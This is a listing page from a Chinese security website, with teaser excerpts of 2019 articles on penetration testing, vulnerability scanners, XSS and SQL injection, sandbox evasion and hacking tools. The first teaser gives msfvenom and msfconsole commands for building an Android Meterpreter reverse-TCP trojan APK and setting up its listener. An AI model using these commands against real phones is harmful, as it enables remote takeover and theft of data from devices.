首页 ›网络安全

网络安全

Kali系列之入侵安卓手机

1.查看kali的IP2.输入生成反弹木马命令：msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.21.128 lport=55555 R > /home/1.apk3.启动msfconsole，配置相关参数msfconsole //启动msfconsoleuse exploit/multi/handler //加载模块set payload android/meterpreter/reverse_tcp //选择Paylo ...

渗透测试 2019-9-20 11:06 3484
你了解过渗透测试扫描器FuXi-Scanner吗

伏羲是一款开源的安全检测工具，适用于中小型企业对企业内部进行安全检测和资产统计。功能一览：基于插件的漏洞扫描功能（类似于巡风）漏洞管理多种协议的弱口令检测企业的子域名收集企业内部资产管理与服务探测端口扫描AWVS接口调用1.拉取镜像docker pull jeffzh3ng/fuxi-scanner2.安装容器docker run ...

渗透测试 2019-9-20 11:03 1723
安全漏洞XSS、CSRF、SQL注入以及DDOS攻击

随着互联网的普及，网络安全变得越来越重要，程序员需要掌握最基本的web安全防范，下面列举一些常见的安全漏洞和对应的防御措施。0x01: XSS漏洞1、XSS简介跨站脚本（cross site script）简称为XSS，是一种经常出现在web应用中的计算机安全漏洞，也是web中最主流的攻击方式。XSS是指恶意攻击者利用网站 ...

安全学院 2019-9-19 13:43 899
「闻鼓论津」保障网络安全需要强大的技术安全

网络技术的更新迭代和网络空间的快速扩展，为人类的生产活动、生活方式、社交范围、获取知识等带来了翻天覆地的变化，利用网络从事生产生活活动在当下生活中早已不可或缺。然而网络的复杂性和持续扩张的特点，我们在享受网络发展带来的种种便利的同时，也面临着愈发严峻的网络安全问题，网络攻击、网络 ...

安全学院 2019-9-18 11:21 802
网站漏洞测试 sql注入攻击代码的审计与检测

wordpress系统本身代码，很少出现sql注入漏洞，反倒是第三方的插件出现太多太多的漏洞，我们发现，仅仅2019年9月份就出现8个插件漏洞，因为第三方开发的插件，技术都参差不齐，对安全方面也不是太懂导致写代码过程中没有对sql注入，以及xss跨站进行前端安全过滤，才导致发生sql注入漏洞。目前发现的wor ...

渗透测试 2019-9-17 09:34 1429
比特币的加密技术终将被破解

区块链与密码、数字签名、哈希函数等加密技术息息相关，对安全加密技术的要求较高。无论是加密技术，还是加密通信协议，攻击者一直在提高攻击手段，加密技术的安全性随着时间的流逝不断降低。即使最初区块链使用了安全加密技术，经过一段时间后，加密技术也会不堪一击，随时可能成为攻击的对象。以比特 ...

安全学院 2019-9-17 09:33 971
Nessus是tenable推出的一款漏洞扫描与分析软件

引子：Nessus是著名信息安全服务公司tenable推出的一款漏洞扫描与分析软件，号称是"世界上最流行的漏洞扫描程序,全世界超过75,000个组织在使用它"。尽管这个扫描程序可以免费下载得到，但是要从Tenable更新到所有最新的威胁信息,每年的直接订购费用是$1,200，也就是每个月100美刀。在Linux, FreeBS ...

漏洞挖掘 2019-9-17 09:27 3673
全新的网络安全时代——等保2.0时代强势来袭

等保2.0，一个全新的网络安全时代的开始！2019年5月13日，网络安全等级保护制度2.0（以下简称等保2.0）标准正式发布，并将于2019年12月1日开始实施。等保2.0的发布标志着我国网络安全等级保护工作进入一个崭新的阶段，对于加强我国网络安全保障工作，提升网络安全保护能力具有十分重要的意义。开启网络 ...

安全学院 2019-9-17 09:25 1276
在你开始使用 Kali Linux 之前务必要知道的事情

在你开始使用 Kali Linux 之前必须知道的事情作者： M.hanny Sabbagh译者： LCTT MjSeven转载自：https://linux.cn/article-10198-1.htmlKali Linux 在渗透测试和白帽子方面是业界领先的 Linux 发行版。默认情况下，该发行版附带了大量入侵和渗透的工具和软件，并且在全世界都得到了广泛认可。即使在那 ...

渗透测试 2019-9-17 09:24 1569
Nginx何防止流量攻击，读完之后，大部分程序员都收藏了...

两种实现方式分别是基于Ehcache和Redis的session管理策略。大家都知道服务器资源有限的，但是客户端来的请求是无限的(不排除恶意攻击)，为了保证大部分的请求能够正常响应，不得不放弃一些客户端来的请求，所以我们会采用Nginx的限流操作，这种操作可以很大程度上缓解服务器的压力，使其他正常的请 ...

网站防护 2019-9-13 05:01 1532
蓝盟为使用IT外包服务的政府单位提出的4项网络安全建议

关键词：应急响应预案；第三方风险管理；政府单位；外包；安全意识培训；风险评估根据实际经验和过往风险评估结果，我们可以发现基层政府单位在网络安全领域存在六大共性问题：n 缺少灾难恢复预案超过八成的政府单位并没有准备一套稳健的、文档健全的灾难恢复方案或者业务连续性管理制度。这使得这些单 ...

安全学院 2019-9-13 04:58 1103
你的服务器是否被黑客入侵，并创建了隐藏的Windows管理员账户

以下操作能够在服务器上创建影藏的管理员账户，并且该用户从用户管理工具来看，不属于管理员组，但其就是管理员，很多网站被黑客入侵后，黑客会在服务器上创建隐藏的管理员账户，本博客，告诉你如何找到并显示隐藏的管理员。创建Windows隐藏管理员账户创建用户C:Documents and SettingsAdministrator ...

安全学院 2019-9-13 04:55 995
黑客入门，黑客术语名词解释学习路线

基础第一，我会将可能涉及的关键知识点部分在本次分享中进行介绍。希望能让大家的出发点更加贴近实际，一切先从基础开始。服务器服务器它侦听网络上的其他计算机(客户端）提交的服务请求，并提供相应的服务。为此，服务器必须具有承担服务并且保障服务的能力。内网、外网内网就是局域网，网吧、校园网 ...

安全学院 2019-9-12 03:55 1913
恶意软件沙箱规避策略演变过程研究

0x00 前言恶意软件规避技术广泛用于规避检测机制、加大分析及理解难度。在规避技术中，由于目前沙箱正成为判断恶意威胁的一种最快速和最简单的方式，因此反沙箱检测是比较重要的一类技术。许多企业会使用这类系统来触发已发现的恶意文件及URL，提取更多攻击特征，拓展防御能力，阻止其他相关的恶意活动 ...

软件安全 2019-9-12 03:49 3494
电脑网络：20年网络安全大师总结的黑客工具箱，看完破解无线密码

注意：所有这些工具都是捆绑在一起的Linux发行版，如Kali Linux或BackBox，所以我们一定会建议您安装一个合适的Linux黑客系统，使您的生活更轻松 - 尤其是因为这些黑客工具可以（自动）更新。1、Nmap （网络映射器）用于扫描端口和地图网络 - 还有一大堆！Nmap是"Network Mapper"的缩写，它是非常 ...

安全学院 2019-9-11 01:45 2107

1 ... 67 68 69 707172 73 74 75 ... 1000 / 1000 页下一页

网络安全

相关分类